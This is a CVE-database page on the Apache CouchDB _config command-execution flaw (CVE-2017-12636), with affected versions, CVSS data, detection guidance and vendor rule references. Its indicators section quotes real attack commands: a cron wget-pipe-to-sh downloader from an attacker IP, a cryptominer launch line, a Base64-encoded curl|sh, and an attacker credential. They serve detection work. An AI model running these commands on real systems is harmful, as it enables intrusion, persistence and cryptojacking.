cbcvebase.
CVE-2017-12636
published 2017-11-14

CVE-2017-12636: CouchDB administrative users can configure the database server via HTTP(S). Some of the configuration options include paths for operating system-level binaries…

PriorityP271high7.2CVSS 3.0
AVNACLPRHUINSUCHIHAH
EXPLOIT
EPSS
90.60%
99.8th percentile
CouchDB administrative users can configure the database server via HTTP(S). Some of the configuration options include paths for operating system-level binaries that are subsequently launched by CouchDB. This allows an admin user in Apache CouchDB before 1.7.0 and 2.x before 2.1.1 to execute arbitrary shell commands as the CouchDB user, including downloading and executing scripts from the public internet.

Affected

9 ranges
VendorProductVersion rangeFixed in
apachecouchdb< 1.7.01.7.0
apachecouchdb< 2.2.02.2.0
apachecouchdb<= 1.7.1
apachecouchdb
apachecouchdb2.0.0 – 2.1.1
apache_software_foundationapache_couchdb< 1.7.21.7.2
apache_software_foundationapache_couchdb
apache_software_foundationapache_couchdb
apache_software_foundationapache_couchdb

Detection & IOCsextracted from sources · hover to see the quote

port5984/TCP
ip94.250.253.178
urlhttp://94.250.253.178/logo6.jpg
urlhttp://94.250.253.178/yam
ip178.170.189.193
path/var/tmp/vpz
path/tmp/cron
filenamelogo6.jpg
commandecho "* * * * * wget -q http://94.250.253.178/logo6.jpg -O - | sh" >> /tmp/cron || true && crontab /tmp/cron
commandnohup ./vpz -c x -M stratum+tcp://xim4:[email protected]:82 >/dev/null &
hash63210b24f42c05b2c5f8fd62e98dba6de45c7d751a2e55700d22983772886017
hash8bf1def5479b39376b3790a83380831d288c57dd4fbad8e64abc3a9062eb56bb
hash5bb66a5e9a7f6c76325a55b7a4a3128fc8631805676bbd3315ce2ac04ac2937b
otherdG9wa2VrMTEyOnRvcGtlazExMg==
otherY3VybCBodHRwOi8vOTQuMjUwLjI1My4xNzgvbG9nbzYuanBnfHNo
  • CouchDB exploitation traffic targets port 5984/TCP; monitor for suspicious HTTP requests to the /_config endpoint with administrative credentials, particularly Base64-encoded Authorization headers.
  • Detect use of the hardcoded attacker credential 'topkek112:topkek112' (Base64: dG9wa2VrMTEyOnRvcGtlazExMg==) in HTTP Authorization headers against CouchDB endpoints.
  • Look for the dropper payload pattern: a file with a .jpg extension that is actually a shell script piped directly to sh (e.g., curl <url>/logo6.jpg|sh).
  • Monitor for creation of /var/tmp/vpz and execution of stratum mining protocol connections (stratum+tcp://) originating from CouchDB process context.
  • Detect cron persistence mechanism: writing to /tmp/cron and invoking crontab to schedule a recurring wget|sh one-liner every minute.
  • Trend Micro Deep Security DPI rule 1008840 covers CVE-2017-12636 Apache CouchDB '_config' Command Execution Vulnerability.
  • TippingPoint MainlineDV filter 30310 covers HTTP Apache CouchDB _config Command Execution Vulnerability (CVE-2017-12636).
  • Home Network Security rule 1134322 covers WEB Apache CouchDB _config Command Execution -1.1 (CVE-2017-12636).
  • ·CVE-2017-12636 requires the attacker to already have CouchDB admin credentials; in observed attacks, CVE-2017-12635 was chained first to create the admin account before exploiting this RCE.
  • ·The vulnerability affects Apache CouchDB before 1.7.0 and 2.x before 2.1.1; patched versions released November 2017.

CVSS provenance

nvdv3.07.2HIGHCVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
nvdv2.09.0CRITICALAV:N/AC:L/Au:S/C:C/I:C/A:C
osv9.8CRITICAL
vulncheck9.8CRITICAL
CVEs like this are exactly what “Exploited This Week” covers.

Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.